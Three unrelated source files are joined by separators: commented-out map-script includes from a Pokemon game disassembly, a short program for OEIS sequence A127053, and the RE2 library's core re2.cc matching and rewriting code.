;INCLUDE "maps/DarkCaveVioletEntrance.asm"
;INCLUDE "maps/DarkCaveBlackthornEntrance.asm"
;INCLUDE "maps/DragonsDen1F.asm"
;INCLUDE "maps/DragonsDenB1F.asm"
;INCLUDE "maps/DragonShrine.asm"
;INCLUDE "maps/TohjoFalls.asm"
;INCLUDE "maps/AzaleaPokecenter1F.asm"
;INCLUDE "maps/CharcoalKiln.asm"
;INCLUDE "maps/AzaleaMart.asm"
;INCLUDE "maps/KurtsHouse.asm"
;INCLUDE "maps/AzaleaGym.asm"
;
;
;SECTION "Map Scripts 17", ROMX
;
;INCLUDE "maps/MahoganyTown.asm"
;INCLUDE "maps/Route32.asm"
;INCLUDE "maps/VermilionFishingSpeechHouse.asm"
;INCLUDE "maps/VermilionPokecenter1F.asm"
;INCLUDE "maps/VermilionPokecenter2FBeta.asm"
;INCLUDE "maps/PokemonFanClub.asm"
;INCLUDE "maps/VermilionMagnetTrainSpeechHouse.asm"
;INCLUDE "maps/VermilionMart.asm"
;INCLUDE "maps/VermilionDiglettsCaveSpeechHouse.asm"
;INCLUDE "maps/VermilionGym.asm"
;INCLUDE "maps/Route6SaffronGate.asm"
;INCLUDE "maps/Route6UndergroundPathEntrance.asm"
;
;
;SECTION "Map Scripts 18", ROMX
;
;INCLUDE "maps/Route36.asm"
;INCLUDE "maps/FuchsiaCity.asm"
;INCLUDE "maps/BlackthornGym1F.asm"
;INCLUDE "maps/BlackthornGym2F.asm"
;INCLUDE "maps/BlackthornDragonSpeechHouse.asm"
;INCLUDE "maps/BlackthornEmysHouse.asm"
;INCLUDE "maps/BlackthornMart.asm"
;INCLUDE "maps/BlackthornPokecenter1F.asm"
;INCLUDE "maps/MoveDeletersHouse.asm"
;INCLUDE "maps/FuchsiaMart.asm"
;INCLUDE "maps/SafariZoneMainOffice.asm"
;INCLUDE "maps/FuchsiaGym.asm"
;INCLUDE "maps/BillsBrothersHouse.asm"
;INCLUDE "maps/FuchsiaPokecenter1F.asm"
;INCLUDE "maps/FuchsiaPokecenter2FBeta.asm"
;INCLUDE "maps/SafariZoneWardensHome.asm"
;INCLUDE "maps/Route15FuchsiaGate.asm"
;INCLUDE "maps/CherrygroveMart.asm"
;INCLUDE "maps/CherrygrovePokecenter1F.asm"
;INCLUDE "maps/CherrygroveGymSpeechHouse.asm"
;INCLUDE "maps/GuideGentsHouse.asm"
;INCLUDE "maps/CherrygroveEvolutionSpeechHouse.asm"
;INCLUDE "maps/Route30BerryHouse.asm"
;INCLUDE "maps/MrPokemonsHouse.asm"
;INCLUDE "maps/Route31VioletGate.asm"
;
;
;SECTION "Map Scripts 19", ROMX
;
;INCLUDE "maps/AzaleaTown.asm"
;INCLUDE "maps/GoldenrodCity.asm"
;INCLUDE "maps/SaffronCity.asm"
;INCLUDE "maps/MahoganyRedGyaradosSpeechHouse.asm"
;INCLUDE "maps/MahoganyGym.asm"
;INCLUDE "maps/MahoganyPokecenter1F.asm"
;INCLUDE "maps/Route42EcruteakGate.asm"
;INCLUDE "maps/LakeOfRageHiddenPowerHouse.asm"
;INCLUDE "maps/LakeOfRageMagikarpHouse.asm"
;INCLUDE "maps/Route43MahoganyGate.asm"
;INCLUDE "maps/Route43Gate.asm"
;INCLUDE "maps/RedsHouse1F.asm"
;INCLUDE "maps/RedsHouse2F.asm"
;INCLUDE "maps/BluesHouse.asm"
;INCLUDE "maps/OaksLab.asm"
;
;
;SECTION "Map Scripts 20", ROMX
;
;INCLUDE "maps/CherrygroveCity.asm"
;INCLUDE "maps/Route35.asm"
;INCLUDE "maps/Route43.asm"
;INCLUDE "maps/Route44.asm"
;INCLUDE "maps/Route45.asm"
;INCLUDE "maps/Route19.asm"
;INCLUDE "maps/Route25.asm"
;
;
;SECTION "Map Scripts 21", ROMX
;
;INCLUDE "maps/CianwoodCity.asm"
;INCLUDE "maps/Route27.asm"
;INCLUDE "maps/Route38.asm"
;INCLUDE "maps/Route13.asm"
;INCLUDE "maps/PewterNidoranSpeechHouse.asm"
;INCLUDE "maps/PewterGym.asm"
;INCLUDE "maps/PewterMart.asm"
;INCLUDE "maps/PewterPokecenter1F.asm"
;INCLUDE "maps/PewterPokecenter2FBeta.asm"
;INCLUDE "maps/PewterSnoozeSpeechHouse.asm"
;
;
;SECTION "Map Scripts 22", ROMX
;
;INCLUDE "maps/EcruteakCity.asm"
;INCLUDE "maps/BlackthornCity.asm"
;INCLUDE "maps/Route26.asm"
;INCLUDE "maps/Route28.asm"
;INCLUDE "maps/Route39.asm"
;INCLUDE "maps/Route40.asm"
;INCLUDE "maps/Route41.asm"
;INCLUDE "maps/Route12.asm"
;
;
;SECTION "Map Scripts 23", ROMX
;
;INCLUDE "maps/OlivineCity.asm"
;INCLUDE "maps/Route37.asm"
;INCLUDE "maps/Route42.asm"
;INCLUDE "maps/Route46.asm"
;INCLUDE "maps/ViridianCity.asm"
;INCLUDE "maps/CeladonCity.asm"
;INCLUDE "maps/Route15.asm"
;INCLUDE "maps/VermilionCity.asm"
;INCLUDE "maps/Route9.asm"
;INCLUDE "maps/CinnabarPokecenter1F.asm"
;INCLUDE "maps/CinnabarPokecenter2FBeta.asm"
;INCLUDE "maps/Route19FuchsiaGate.asm"
;INCLUDE "maps/SeafoamGym.asm"
;
;
;SECTION "Map Scripts 24", ROMX
;
;INCLUDE "maps/Route33.asm"
;INCLUDE "maps/Route2.asm"
;INCLUDE "maps/Route1.asm"
;INCLUDE "maps/PalletTown.asm"
;INCLUDE "maps/Route21.asm"
;INCLUDE "maps/CinnabarIsland.asm"
;INCLUDE "maps/Route20.asm"
;INCLUDE "maps/Route18.asm"
;INCLUDE "maps/Route17.asm"
;INCLUDE "maps/Route16.asm"
;INCLUDE "maps/Route7.asm"
;INCLUDE "maps/Route14.asm"
;INCLUDE "maps/LavenderTown.asm"
;INCLUDE "maps/Route6.asm"
;INCLUDE "maps/Route5.asm"
;INCLUDE "maps/Route24.asm"
;INCLUDE "maps/Route3.asm"
;INCLUDE "maps/Route4.asm"
;INCLUDE "maps/Route10South.asm"
;INCLUDE "maps/Route23.asm"
;INCLUDE "maps/SilverCavePokecenter1F.asm"
;INCLUDE "maps/Route28SteelWingHouse.asm"
;
;
;SECTION "Map Scripts 25", ROMX
;
;INCLUDE "maps/SilverCaveOutside.asm"
;INCLUDE "maps/Route10North.asm"
|
; A127053: Expansion of 1/(1+9*x*c(x)), where c(x) = g.f. for Catalan numbers A000108.
; Submitted by Jon Maiga
; 1,-9,72,-585,4734,-38358,310662,-2516481,20383110,-165104478,1337341896,-10832484474,87743071332,-710719065000,5756823757890,-46630274845905,377705217526470,-3059412293786310,24781239462988800,-200728040080084110,1625897123058144420,-13169766702678678180,106675110269677652940,-864068393266723296090,6998953985151705046044,-56691527280889724605548,459201370970831017543632,-3719531104880261859868356,30128201949467540869109280,-244038435790924454196360492,1976711329905586060995533754
mov $4,$0
add $0,1
lpb $0
sub $0,1
mov $3,$4
bin $3,$1
add $1,1
add $3,$2
mul $2,2
mul $3,11
sub $2,$3
add $4,1
lpe
mov $0,$3
div $0,11
|
// Copyright 2003-2009 The RE2 Authors. All Rights Reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Regular expression interface RE2.
//
// Originally the PCRE C++ wrapper, but adapted to use
// the new automata-based regular expression engines.
#include "re2/re2.h"
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <algorithm>
#include <iterator>
#include <mutex>
#include <string>
#include <utility>
#include <vector>
#include "util/util.h"
#include "util/logging.h"
#include "util/sparse_array.h"
#include "util/strutil.h"
#include "util/utf.h"
#include "re2/prog.h"
#include "re2/regexp.h"
namespace re2 {
// Maximum number of args we can set
static const int kMaxArgs = 16;
static const int kVecSize = 1+kMaxArgs;
const int RE2::Options::kDefaultMaxMem; // initialized in re2.h
RE2::Options::Options(RE2::CannedOptions opt)
: encoding_(opt == RE2::Latin1 ? EncodingLatin1 : EncodingUTF8),
posix_syntax_(opt == RE2::POSIX),
longest_match_(opt == RE2::POSIX),
log_errors_(opt != RE2::Quiet),
max_mem_(kDefaultMaxMem),
literal_(false),
never_nl_(false),
dot_nl_(false),
never_capture_(false),
case_sensitive_(true),
perl_classes_(false),
word_boundary_(false),
one_line_(false) {
}
// static empty objects for use as const references.
// To avoid global constructors, allocated in RE2::Init().
static const string* empty_string;
static const std::map<string, int>* empty_named_groups;
static const std::map<int, string>* empty_group_names;
// Converts from Regexp error code to RE2 error code.
// Maybe some day they will diverge. In any event, this
// hides the existence of Regexp from RE2 users.
static RE2::ErrorCode RegexpErrorToRE2(re2::RegexpStatusCode code) {
switch (code) {
case re2::kRegexpSuccess:
return RE2::NoError;
case re2::kRegexpInternalError:
return RE2::ErrorInternal;
case re2::kRegexpBadEscape:
return RE2::ErrorBadEscape;
case re2::kRegexpBadCharClass:
return RE2::ErrorBadCharClass;
case re2::kRegexpBadCharRange:
return RE2::ErrorBadCharRange;
case re2::kRegexpMissingBracket:
return RE2::ErrorMissingBracket;
case re2::kRegexpMissingParen:
return RE2::ErrorMissingParen;
case re2::kRegexpTrailingBackslash:
return RE2::ErrorTrailingBackslash;
case re2::kRegexpRepeatArgument:
return RE2::ErrorRepeatArgument;
case re2::kRegexpRepeatSize:
return RE2::ErrorRepeatSize;
case re2::kRegexpRepeatOp:
return RE2::ErrorRepeatOp;
case re2::kRegexpBadPerlOp:
return RE2::ErrorBadPerlOp;
case re2::kRegexpBadUTF8:
return RE2::ErrorBadUTF8;
case re2::kRegexpBadNamedCapture:
return RE2::ErrorBadNamedCapture;
}
return RE2::ErrorInternal;
}
static string trunc(const StringPiece& pattern) {
if (pattern.size() < 100)
return pattern.ToString();
return pattern.substr(0, 100).ToString() + "...";
}
RE2::RE2(const char* pattern) {
Init(pattern, DefaultOptions);
}
RE2::RE2(const string& pattern) {
Init(pattern, DefaultOptions);
}
RE2::RE2(const StringPiece& pattern) {
Init(pattern, DefaultOptions);
}
RE2::RE2(const StringPiece& pattern, const Options& options) {
Init(pattern, options);
}
int RE2::Options::ParseFlags() const {
int flags = Regexp::ClassNL;
switch (encoding()) {
default:
if (log_errors())
LOG(ERROR) << "Unknown encoding " << encoding();
break;
case RE2::Options::EncodingUTF8:
break;
case RE2::Options::EncodingLatin1:
flags |= Regexp::Latin1;
break;
}
if (!posix_syntax())
flags |= Regexp::LikePerl;
if (literal())
flags |= Regexp::Literal;
if (never_nl())
flags |= Regexp::NeverNL;
if (dot_nl())
flags |= Regexp::DotNL;
if (never_capture())
flags |= Regexp::NeverCapture;
if (!case_sensitive())
flags |= Regexp::FoldCase;
if (perl_classes())
flags |= Regexp::PerlClasses;
if (word_boundary())
flags |= Regexp::PerlB;
if (one_line())
flags |= Regexp::OneLine;
return flags;
}
void RE2::Init(const StringPiece& pattern, const Options& options) {
static std::once_flag empty_once;
std::call_once(empty_once, []() {
empty_string = new string;
empty_named_groups = new std::map<string, int>;
empty_group_names = new std::map<int, string>;
});
pattern_ = pattern.ToString();
options_.Copy(options);
entire_regexp_ = NULL;
suffix_regexp_ = NULL;
prog_ = NULL;
rprog_ = NULL;
error_ = empty_string;
error_code_ = NoError;
num_captures_ = -1;
named_groups_ = NULL;
group_names_ = NULL;
RegexpStatus status;
entire_regexp_ = Regexp::Parse(
pattern_,
static_cast<Regexp::ParseFlags>(options_.ParseFlags()),
&status);
if (entire_regexp_ == NULL) {
if (options_.log_errors()) {
LOG(ERROR) << "Error parsing '" << trunc(pattern_) << "': "
<< status.Text();
}
error_ = new string(status.Text());
error_code_ = RegexpErrorToRE2(status.code());
error_arg_ = status.error_arg().ToString();
return;
}
prefix_.clear();
prefix_foldcase_ = false;
re2::Regexp* suffix;
if (entire_regexp_->RequiredPrefix(&prefix_, &prefix_foldcase_, &suffix))
suffix_regexp_ = suffix;
else
suffix_regexp_ = entire_regexp_->Incref();
// Two thirds of the memory goes to the forward Prog,
// one third to the reverse prog, because the forward
// Prog has two DFAs but the reverse prog has one.
prog_ = suffix_regexp_->CompileToProg(options_.max_mem()*2/3);
if (prog_ == NULL) {
if (options_.log_errors())
LOG(ERROR) << "Error compiling '" << trunc(pattern_) << "'";
error_ = new string("pattern too large - compile failed");
error_code_ = RE2::ErrorPatternTooLarge;
return;
}
// Could delay this until the first match call that
// cares about submatch information, but the one-pass
// machine's memory gets cut from the DFA memory budget,
// and that is harder to do if the DFA has already
// been built.
is_one_pass_ = prog_->IsOnePass();
}
// Returns rprog_, computing it if needed.
re2::Prog* RE2::ReverseProg() const {
std::call_once(rprog_once_, [](const RE2* re) {
re->rprog_ =
re->suffix_regexp_->CompileToReverseProg(re->options_.max_mem() / 3);
if (re->rprog_ == NULL) {
if (re->options_.log_errors())
LOG(ERROR) << "Error reverse compiling '" << trunc(re->pattern_) << "'";
re->error_ = new string("pattern too large - reverse compile failed");
re->error_code_ = RE2::ErrorPatternTooLarge;
}
}, this);
return rprog_;
}
RE2::~RE2() {
if (suffix_regexp_)
suffix_regexp_->Decref();
if (entire_regexp_)
entire_regexp_->Decref();
delete prog_;
delete rprog_;
if (error_ != empty_string)
delete error_;
if (named_groups_ != NULL && named_groups_ != empty_named_groups)
delete named_groups_;
if (group_names_ != NULL && group_names_ != empty_group_names)
delete group_names_;
}
int RE2::ProgramSize() const {
if (prog_ == NULL)
return -1;
return prog_->size();
}
int RE2::ProgramFanout(std::map<int, int>* histogram) const {
if (prog_ == NULL)
return -1;
SparseArray<int> fanout(prog_->size());
prog_->Fanout(&fanout);
histogram->clear();
for (SparseArray<int>::iterator i = fanout.begin(); i != fanout.end(); ++i) {
// TODO(junyer): Optimise this?
int bucket = 0;
while (1 << bucket < i->second) {
bucket++;
}
(*histogram)[bucket]++;
}
return histogram->rbegin()->first;
}
// Returns num_captures_, computing it if needed, or -1 if the
// regexp wasn't valid on construction.
int RE2::NumberOfCapturingGroups() const {
std::call_once(num_captures_once_, [](const RE2* re) {
if (re->suffix_regexp_ != NULL)
re->num_captures_ = re->suffix_regexp_->NumCaptures();
}, this);
return num_captures_;
}
// Returns named_groups_, computing it if needed.
const std::map<string, int>& RE2::NamedCapturingGroups() const {
std::call_once(named_groups_once_, [](const RE2* re) {
if (re->suffix_regexp_ != NULL)
re->named_groups_ = re->suffix_regexp_->NamedCaptures();
if (re->named_groups_ == NULL)
re->named_groups_ = empty_named_groups;
}, this);
return *named_groups_;
}
// Returns group_names_, computing it if needed.
const std::map<int, string>& RE2::CapturingGroupNames() const {
std::call_once(group_names_once_, [](const RE2* re) {
if (re->suffix_regexp_ != NULL)
re->group_names_ = re->suffix_regexp_->CaptureNames();
if (re->group_names_ == NULL)
re->group_names_ = empty_group_names;
}, this);
return *group_names_;
}
/***** Convenience interfaces *****/
bool RE2::FullMatchN(const StringPiece& text, const RE2& re,
const Arg* const args[], int n) {
return re.DoMatch(text, ANCHOR_BOTH, NULL, args, n);
}
bool RE2::PartialMatchN(const StringPiece& text, const RE2& re,
const Arg* const args[], int n) {
return re.DoMatch(text, UNANCHORED, NULL, args, n);
}
bool RE2::ConsumeN(StringPiece* input, const RE2& re,
const Arg* const args[], int n) {
size_t consumed;
if (re.DoMatch(*input, ANCHOR_START, &consumed, args, n)) {
input->remove_prefix(consumed);
return true;
} else {
return false;
}
}
bool RE2::FindAndConsumeN(StringPiece* input, const RE2& re,
const Arg* const args[], int n) {
size_t consumed;
if (re.DoMatch(*input, UNANCHORED, &consumed, args, n)) {
input->remove_prefix(consumed);
return true;
} else {
return false;
}
}
// Returns the maximum submatch needed for the rewrite to be done by Replace().
// E.g. if rewrite == "foo \\2,\\1", returns 2.
int RE2::MaxSubmatch(const StringPiece& rewrite) {
int max = 0;
for (const char *s = rewrite.data(), *end = s + rewrite.size();
s < end; s++) {
if (*s == '\\') {
s++;
int c = (s < end) ? *s : -1;
if (isdigit(c)) {
int n = (c - '0');
if (n > max)
max = n;
}
}
}
return max;
}
bool RE2::Replace(string *str,
const RE2& re,
const StringPiece& rewrite) {
StringPiece vec[kVecSize];
int nvec = 1 + MaxSubmatch(rewrite);
if (nvec > arraysize(vec))
return false;
if (!re.Match(*str, 0, str->size(), UNANCHORED, vec, nvec))
return false;
string s;
if (!re.Rewrite(&s, rewrite, vec, nvec))
return false;
assert(vec[0].begin() >= str->data());
assert(vec[0].end() <= str->data()+str->size());
str->replace(vec[0].data() - str->data(), vec[0].size(), s);
return true;
}
int RE2::GlobalReplace(string *str,
const RE2& re,
const StringPiece& rewrite) {
StringPiece vec[kVecSize];
int nvec = 1 + MaxSubmatch(rewrite);
if (nvec > arraysize(vec))
return false;
const char* p = str->data();
const char* ep = p + str->size();
const char* lastend = NULL;
string out;
int count = 0;
#ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION
// Iterate just once when fuzzing. Otherwise, we easily get bogged down
// and coverage is unlikely to improve despite significant expense.
while (p == str->data()) {
#else
while (p <= ep) {
#endif
if (!re.Match(*str, static_cast<size_t>(p - str->data()),
str->size(), UNANCHORED, vec, nvec))
break;
if (p < vec[0].begin())
out.append(p, vec[0].begin() - p);
if (vec[0].begin() == lastend && vec[0].size() == 0) {
// Disallow empty match at end of last match: skip ahead.
//
// fullrune() takes int, not size_t. However, it just looks
// at the leading byte and treats any length >= 4 the same.
if (re.options().encoding() == RE2::Options::EncodingUTF8 &&
fullrune(p, static_cast<int>(std::min(static_cast<ptrdiff_t>(4),
ep - p)))) {
// re is in UTF-8 mode and there is enough left of str
// to allow us to advance by up to UTFmax bytes.
Rune r;
int n = chartorune(&r, p);
// Some copies of chartorune have a bug that accepts
// encodings of values in (10FFFF, 1FFFFF] as valid.
if (r > Runemax) {
n = 1;
r = Runeerror;
}
if (!(n == 1 && r == Runeerror)) { // no decoding error
out.append(p, n);
p += n;
continue;
}
}
// Most likely, re is in Latin-1 mode. If it is in UTF-8 mode,
// we fell through from above and the GIGO principle applies.
if (p < ep)
out.append(p, 1);
p++;
continue;
}
re.Rewrite(&out, rewrite, vec, nvec);
p = vec[0].end();
lastend = p;
count++;
}
if (count == 0)
return 0;
if (p < ep)
out.append(p, ep - p);
using std::swap;
swap(out, *str);
return count;
}
bool RE2::Extract(const StringPiece &text,
const RE2& re,
const StringPiece &rewrite,
string *out) {
StringPiece vec[kVecSize];
int nvec = 1 + MaxSubmatch(rewrite);
if (nvec > arraysize(vec))
return false;
if (!re.Match(text, 0, text.size(), UNANCHORED, vec, nvec))
return false;
out->clear();
return re.Rewrite(out, rewrite, vec, nvec);
}
string RE2::QuoteMeta(const StringPiece& unquoted) {
string result;
result.reserve(unquoted.size() << 1);
// Escape any ascii character not in [A-Za-z_0-9].
//
// Note that it's legal to escape a character even if it has no
// special meaning in a regular expression -- so this function does
// that. (This also makes it identical to the perl function of the
// same name except for the null-character special case;
// see `perldoc -f quotemeta`.)
for (size_t ii = 0; ii < unquoted.size(); ++ii) {
// Note that using 'isalnum' here raises the benchmark time from
// 32ns to 58ns:
if ((unquoted[ii] < 'a' || unquoted[ii] > 'z') &&
(unquoted[ii] < 'A' || unquoted[ii] > 'Z') &&
(unquoted[ii] < '0' || unquoted[ii] > '9') &&
unquoted[ii] != '_' &&
// If this is the part of a UTF8 or Latin1 character, we need
// to copy this byte without escaping. Experimentally this is
// what works correctly with the regexp library.
!(unquoted[ii] & 128)) {
if (unquoted[ii] == '\0') { // Special handling for null chars.
// Note that this special handling is not strictly required for RE2,
// but this quoting is required for other regexp libraries such as
// PCRE.
// Can't use "\\0" since the next character might be a digit.
result += "\\x00";
continue;
}
result += '\\';
}
result += unquoted[ii];
}
return result;
}
bool RE2::PossibleMatchRange(string* min, string* max, int maxlen) const {
if (prog_ == NULL)
return false;
int n = static_cast<int>(prefix_.size());
if (n > maxlen)
n = maxlen;
// Determine initial min max from prefix_ literal.
string pmin, pmax;
pmin = prefix_.substr(0, n);
pmax = prefix_.substr(0, n);
if (prefix_foldcase_) {
// prefix is ASCII lowercase; change pmin to uppercase.
for (int i = 0; i < n; i++) {
if ('a' <= pmin[i] && pmin[i] <= 'z')
pmin[i] += 'A' - 'a';
}
}
// Add to prefix min max using PossibleMatchRange on regexp.
string dmin, dmax;
maxlen -= n;
if (maxlen > 0 && prog_->PossibleMatchRange(&dmin, &dmax, maxlen)) {
pmin += dmin;
pmax += dmax;
} else if (!pmax.empty()) {
// prog_->PossibleMatchRange has failed us,
// but we still have useful information from prefix_.
// Round up pmax to allow any possible suffix.
pmax = PrefixSuccessor(pmax);
} else {
// Nothing useful.
*min = "";
*max = "";
return false;
}
*min = pmin;
*max = pmax;
return true;
}
// Avoid possible locale nonsense in standard strcasecmp.
// The string a is known to be all lowercase.
static int ascii_strcasecmp(const char* a, const char* b, size_t len) {
const char *ae = a + len;
for (; a < ae; a++, b++) {
uint8_t x = *a;
uint8_t y = *b;
if ('A' <= y && y <= 'Z')
y += 'a' - 'A';
if (x != y)
return x - y;
}
return 0;
}
/***** Actual matching and rewriting code *****/
bool RE2::Match(const StringPiece& text,
size_t startpos,
size_t endpos,
Anchor re_anchor,
StringPiece* submatch,
int nsubmatch) const {
if (!ok() || suffix_regexp_ == NULL) {
if (options_.log_errors())
LOG(ERROR) << "Invalid RE2: " << *error_;
return false;
}
if (startpos > endpos || endpos > text.size()) {
if (options_.log_errors())
LOG(ERROR) << "RE2: invalid startpos, endpos pair. ["
<< "startpos: " << startpos << ", "
<< "endpos: " << endpos << ", "
<< "text size: " << text.size() << "]";
return false;
}
StringPiece subtext = text;
subtext.remove_prefix(startpos);
subtext.remove_suffix(text.size() - endpos);
// Use DFAs to find exact location of match, filter out non-matches.
// Don't ask for the location if we won't use it.
// SearchDFA can do extra optimizations in that case.
StringPiece match;
StringPiece* matchp = &match;
if (nsubmatch == 0)
matchp = NULL;
int ncap = 1 + NumberOfCapturingGroups();
if (ncap > nsubmatch)
ncap = nsubmatch;
// If the regexp is anchored explicitly, must not be in middle of text.
if (prog_->anchor_start() && startpos != 0)
return false;
// If the regexp is anchored explicitly, update re_anchor
// so that we can potentially fall into a faster case below.
if (prog_->anchor_start() && prog_->anchor_end())
re_anchor = ANCHOR_BOTH;
else if (prog_->anchor_start() && re_anchor != ANCHOR_BOTH)
re_anchor = ANCHOR_START;
// Check for the required prefix, if any.
size_t prefixlen = 0;
if (!prefix_.empty()) {
if (startpos != 0)
return false;
prefixlen = prefix_.size();
if (prefixlen > subtext.size())
return false;
if (prefix_foldcase_) {
if (ascii_strcasecmp(&prefix_[0], subtext.data(), prefixlen) != 0)
return false;
} else {
if (memcmp(&prefix_[0], subtext.data(), prefixlen) != 0)
return false;
}
subtext.remove_prefix(prefixlen);
// If there is a required prefix, the anchor must be at least ANCHOR_START.
if (re_anchor != ANCHOR_BOTH)
re_anchor = ANCHOR_START;
}
Prog::Anchor anchor = Prog::kUnanchored;
Prog::MatchKind kind = Prog::kFirstMatch;
if (options_.longest_match())
kind = Prog::kLongestMatch;
bool skipped_test = false;
bool can_one_pass = (is_one_pass_ && ncap <= Prog::kMaxOnePassCapture);
// SearchBitState allocates a bit vector of size prog_->size() * text.size().
// It also allocates a stack of 3-word structures which could potentially
// grow as large as prog_->size() * text.size() but in practice is much
// smaller.
// Conditions for using SearchBitState:
const int MaxBitStateProg = 500; // prog_->size() <= Max.
const int MaxBitStateVector = 256*1024; // bit vector size <= Max (bits)
bool can_bit_state = prog_->size() <= MaxBitStateProg;
size_t bit_state_text_max = MaxBitStateVector / prog_->size();
bool dfa_failed = false;
switch (re_anchor) {
default:
case UNANCHORED: {
if (!prog_->SearchDFA(subtext, text, anchor, kind,
matchp, &dfa_failed, NULL)) {
if (dfa_failed) {
if (options_.log_errors())
LOG(ERROR) << "DFA out of memory: size " << prog_->size() << ", "
<< "bytemap range " << prog_->bytemap_range() << ", "
<< "list count " << prog_->list_count();
// Fall back to NFA below.
skipped_test = true;
break;
}
return false;
}
if (matchp == NULL) // Matched. Don't care where
return true;
// SearchDFA set match[0].end() but didn't know where the
// match started. Run the regexp backward from match[0].end()
// to find the longest possible match -- that's where it started.
Prog* prog = ReverseProg();
if (prog == NULL)
return false;
if (!prog->SearchDFA(match, text, Prog::kAnchored,
Prog::kLongestMatch, &match, &dfa_failed, NULL)) {
if (dfa_failed) {
if (options_.log_errors())
LOG(ERROR) << "DFA out of memory: size " << prog_->size() << ", "
<< "bytemap range " << prog_->bytemap_range() << ", "
<< "list count " << prog_->list_count();
// Fall back to NFA below.
skipped_test = true;
break;
}
if (options_.log_errors())
LOG(ERROR) << "SearchDFA inconsistency";
return false;
}
break;
}
case ANCHOR_BOTH:
case ANCHOR_START:
if (re_anchor == ANCHOR_BOTH)
kind = Prog::kFullMatch;
anchor = Prog::kAnchored;
// If only a small amount of text and need submatch
// information anyway and we're going to use OnePass or BitState
// to get it, we might as well not even bother with the DFA:
// OnePass or BitState will be fast enough.
// On tiny texts, OnePass outruns even the DFA, and
// it doesn't have the shared state and occasional mutex that
// the DFA does.
if (can_one_pass && text.size() <= 4096 &&
(ncap > 1 || text.size() <= 8)) {
skipped_test = true;
break;
}
if (can_bit_state && text.size() <= bit_state_text_max && ncap > 1) {
skipped_test = true;
break;
}
if (!prog_->SearchDFA(subtext, text, anchor, kind,
&match, &dfa_failed, NULL)) {
if (dfa_failed) {
if (options_.log_errors())
LOG(ERROR) << "DFA out of memory: size " << prog_->size() << ", "
<< "bytemap range " << prog_->bytemap_range() << ", "
<< "list count " << prog_->list_count();
// Fall back to NFA below.
skipped_test = true;
break;
}
return false;
}
break;
}
if (!skipped_test && ncap <= 1) {
// We know exactly where it matches. That's enough.
if (ncap == 1)
submatch[0] = match;
} else {
StringPiece subtext1;
if (skipped_test) {
// DFA ran out of memory or was skipped:
// need to search in entire original text.
subtext1 = subtext;
} else {
// DFA found the exact match location:
// let NFA run an anchored, full match search
// to find submatch locations.
subtext1 = match;
anchor = Prog::kAnchored;
kind = Prog::kFullMatch;
}
if (can_one_pass && anchor != Prog::kUnanchored) {
if (!prog_->SearchOnePass(subtext1, text, anchor, kind, submatch, ncap)) {
if (!skipped_test && options_.log_errors())
LOG(ERROR) << "SearchOnePass inconsistency";
return false;
}
} else if (can_bit_state && subtext1.size() <= bit_state_text_max) {
if (!prog_->SearchBitState(subtext1, text, anchor,
kind, submatch, ncap)) {
if (!skipped_test && options_.log_errors())
LOG(ERROR) << "SearchBitState inconsistency";
return false;
}
} else {
if (!prog_->SearchNFA(subtext1, text, anchor, kind, submatch, ncap)) {
if (!skipped_test && options_.log_errors())
LOG(ERROR) << "SearchNFA inconsistency";
return false;
}
}
}
// Adjust overall match for required prefix that we stripped off.
if (prefixlen > 0 && nsubmatch > 0)
submatch[0] = StringPiece(submatch[0].data() - prefixlen,
submatch[0].size() + prefixlen);
// Zero submatches that don't exist in the regexp.
for (int i = ncap; i < nsubmatch; i++)
submatch[i] = StringPiece();
return true;
}
// Internal matcher - like Match() but takes Args not StringPieces.
bool RE2::DoMatch(const StringPiece& text,
Anchor anchor,
size_t* consumed,
const Arg* const* args,
int n) const {
if (!ok()) {
if (options_.log_errors())
LOG(ERROR) << "Invalid RE2: " << *error_;
return false;
}
// Count number of capture groups needed.
int nvec;
if (n == 0 && consumed == NULL)
nvec = 0;
else
nvec = n+1;
StringPiece* vec;
StringPiece stkvec[kVecSize];
StringPiece* heapvec = NULL;
if (nvec <= arraysize(stkvec)) {
vec = stkvec;
} else {
vec = new StringPiece[nvec];
heapvec = vec;
}
if (!Match(text, 0, text.size(), anchor, vec, nvec)) {
delete[] heapvec;
return false;
}
if (consumed != NULL)
*consumed = static_cast<size_t>(vec[0].end() - text.begin());
if (n == 0 || args == NULL) {
// We are not interested in results
delete[] heapvec;
return true;
}
int ncap = NumberOfCapturingGroups();
if (ncap < n) {
// RE has fewer capturing groups than number of arg pointers passed in
delete[] heapvec;
return false;
}
// If we got here, we must have matched the whole pattern.
for (int i = 0; i < n; i++) {
const StringPiece& s = vec[i+1];
if (!args[i]->Parse(s.data(), s.size())) {
// TODO: Should we indicate what the error was?
delete[] heapvec;
return false;
}
}
delete[] heapvec;
return true;
}
// Append the "rewrite" string, with backslash subsitutions from "vec",
// to string "out".
bool RE2::Rewrite(string *out, const StringPiece &rewrite,
const StringPiece *vec, int veclen) const {
for (const char *s = rewrite.data(), *end = s + rewrite.size();
s < end; s++) {
if (*s != '\\') {
out->push_back(*s);
continue;
}
s++;
int c = (s < end) ? *s : -1;
if (isdigit(c)) {
int n = (c - '0');
if (n >= veclen) {
if (options_.log_errors()) {
LOG(ERROR) << "requested group " << n
<< " in regexp " << rewrite.data();
}
return false;
}
StringPiece snip = vec[n];
if (snip.size() > 0)
out->append(snip.data(), snip.size());
} else if (c == '\\') {
out->push_back('\\');
} else {
if (options_.log_errors())
LOG(ERROR) << "invalid rewrite pattern: " << rewrite.data();
return false;
}
}
return true;
}
// Checks that the rewrite string is well-formed with respect to this
// regular expression.
bool RE2::CheckRewriteString(const StringPiece& rewrite, string* error) const {
int max_token = -1;
for (const char *s = rewrite.data(), *end = s + rewrite.size();
s < end; s++) {
int c = *s;
if (c != '\\') {
continue;
}
if (++s == end) {
*error = "Rewrite schema error: '\\' not allowed at end.";
return false;
}
c = *s;
if (c == '\\') {
continue;
}
if (!isdigit(c)) {
*error = "Rewrite schema error: "
"'\\' must be followed by a digit or '\\'.";
return false;
}
int n = (c - '0');
if (max_token < n) {
max_token = n;
}
}
if (max_token > NumberOfCapturingGroups()) {
SStringPrintf(error, "Rewrite schema requests %d matches, "
"but the regexp only has %d parenthesized subexpressions.",
max_token, NumberOfCapturingGroups());
return false;
}
return true;
}
/***** Parsers for various types *****/
bool RE2::Arg::parse_null(const char* str, size_t n, void* dest) {
// We fail if somebody asked us to store into a non-NULL void* pointer
return (dest == NULL);
}
